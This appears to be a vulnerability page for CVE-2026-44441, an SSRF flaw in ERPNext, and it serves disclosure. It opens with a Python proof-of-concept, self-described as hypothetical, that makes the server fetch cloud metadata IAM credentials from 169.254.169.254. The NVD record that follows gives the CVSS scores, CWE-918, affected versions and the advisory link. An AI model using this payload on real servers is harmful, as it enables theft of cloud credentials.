CVE-2026-44441

import requests # Target URL (Vulnerable endpoint) target_url = "http://erpnext-target.com/api/vulnerable_endpoint" # Malicious internal URL to access metadata (SSRF payload) # Attacker aims to read cloud metadata or scan internal ports malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # Payload structure (Hypothetical based on typical SSRF) payload = { "url": malicious_url, "param1": "value1" } # Sending the request headers = { "Authorization": "Bearer <low_priv_token>", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] SSRF Successful! Response received:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-44441", "sourceIdentifier": "[email protected]", "published": "2026-05-13T22:16:45.177", "lastModified": "2026-05-14T20:10:48.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ERPNext is a free and open source Enterprise Resource Planning tool. Prior to 15.106.0 and 16.16.0, a malicious user could send a crafted request to an endpoint, which would lead to the server making an HTTP call to a service of the user's choice. This vulnerability is fixed in 15.106.0 and 16.16.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.0, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionEndExcluding": "15.106.0", "matchCriteriaId": "8A993EC9-3632-41E7-A213-27D082E58CD8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:frappe:erpnext:*:*:*:*:*:*:*:*", "versionStartIncluding": "16.0.0", "versionEndExcluding": "16.16.0", "matchCriteriaId": "2A41A410-FED0-4300-B5C8-EAC6ACEAE47F"}]}]}], "references": [{"url": "https://github.com/frappe/erpnext/security/advisories/GHSA-m4m4-j2m2-7fcw", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}